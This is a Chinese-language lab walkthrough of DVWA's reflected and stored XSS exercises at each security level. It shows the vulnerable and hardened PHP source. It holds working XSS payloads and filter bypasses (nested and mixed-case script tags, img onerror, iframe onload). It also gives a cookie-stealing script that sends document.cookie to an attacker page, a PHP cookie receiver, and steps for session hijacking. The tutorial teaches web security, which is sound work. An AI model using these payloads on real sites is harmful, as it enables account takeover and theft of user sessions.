1.4 DVWA亲测XSS漏洞
首先需要有配置好的DVWA环境，像下图这样
其中：
XSS (DOM) : DOM型XSS漏洞
XSS (Reflected) : 反射性XSS漏洞
XSS (Stored) : 存储型XSS漏洞
我们先来看XSS（Reflected）: 反射型的XSS漏洞
首先，我们选择LOW等级
XSS (Reflected) :
点击出现如图所示
我们先来输入 xss ,点击确定
我们接着来输入<xss> ,点击确定
这时发现插入html标签的话，页面会发生变化，我们尝试js弹窗
我们继续输入<script>alert('xss')</script>,点击确定
这时说明这个网站可以进行XSS攻击，我们输入 <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script> ，就可以得到要攻击的人cookie信息
攻击过程总结：
1.攻击者的web设计用来接收cookie，如下：
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie)
?>
2.构造并发送攻击url:
http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
注意：<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>需要进行
URLlencode的编码，否则不会攻击成功
3.得到cookie后，我们访问login.php 登陆页面,使用firebug里面的cookies,来编辑cookies
4.完成后，我们直接访问index.php,发现我们已经已被攻击者的身份登陆，可以赶我们想干的事情了
接下来我们选择Medium等级的XSS
XSS (Reflected) :
点击出现如图所示
我们先来输入<script>alert('xss')</script> ,点击确定
发现已经失效，无法正常弹窗，<script>标签被过滤了，不过我们也有方法
1. <scri<script>pt> 应为过滤程序只会过滤一次，嵌套可以完美绕过。
输入<scr<script>ipt>alert('xss')</script> 
2. <ScRiPt> 大小写混合绕过
输入<ScRiPt >ipt>alert('xss')</ScRiPt >
接下来我们选择High等级的XSS
XSS (Reflected) :
点击出现如图所示
我们先来输入<script>alert('xss')</script> ,点击确定
我们尝试嵌套，大小写，发现都是失效的
但是能够插入xss代码的标签并不只是<script>,
还有<img>标签，同样也可以
输入 <img src=x onerror=alert('xss')>,点击确定
onerror事件会在文档或图像加载过程中发生错误时被触发
应为src=x本事就是一个错误代码，所以触发事件执行
还有<iframe>标签同样可以：
输入 <iframe onload=alert('xss')>,点击确定
<iframe>标签可以在一个html代码中嵌入另一个html内容
onload 是js的一个事件，事件会在页面加载完成后，立即发生，同时执行被调用的程序。
注意：1. 加载页面时，触发onload事件
接下来我们选择Impossible等级的XSS,当然这个等级是绝对安全的
XSS (Reflected) :
点击出现如图所示
我们先来输入<script>alert('xss')</script> ,点击确定
发现代码原封不动的输出出来了，我们通过fire bug 查看元素
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
我们输入的符号都被转义了，使他们丧失了功能
查看后台代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
原来是htmlspecialchars()这个函数把符号给编码了
接下来让我们来看XSS（Stored）: 存储型XSS漏洞
首先，我们选择LOW等级
点击出现如图所示
是留言板性质的
我们先来尝试输入
发现输入不完整，估计是后台的输入框限制了长度
先查看源代码
果然不出所料
然后我们用火狐浏览器上的Tamper date 进行抓包改包
点击发送就可以成功绕过
或者我们可以用你黑客最常用的工具 burpsuite 就进行抓包：
然后改包：
结果 :
这样就简简单单突破限制
下面我们进入Middem等级
点击确定后
我们发现name中还是限制了字数，但在Low等级中我们已经列出解决办法，这里不再赘述
我们在Message表格中写入<script>alert('xss')</script>,发现如下图
发现<script>标签被过滤，此处我们也已经列出过解决办法，也不再赘述
抓包改包，用大小写混合的方法就可以成功绕过
我们看一下源代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
这代码不可谓不精细，message防注入做的很棒
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体
接下来我们进入High等级
点击确定后
我们在Message处尝试输入<script>alert('xss')</script>
我们又遇到了meddiem的问题:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
发现name已经完全过滤了<script>,区分大小写，以前的方法都失效了
这时我们采取新办法，我们在name中输入 <img src=x onerror=alert('xss')>
发现成功绕过
接下来我们进入不可能注入的impossible等级
这时我们先来看代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响：
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功，则该函数返回被转义的字符串。如果失败，则返回 false。
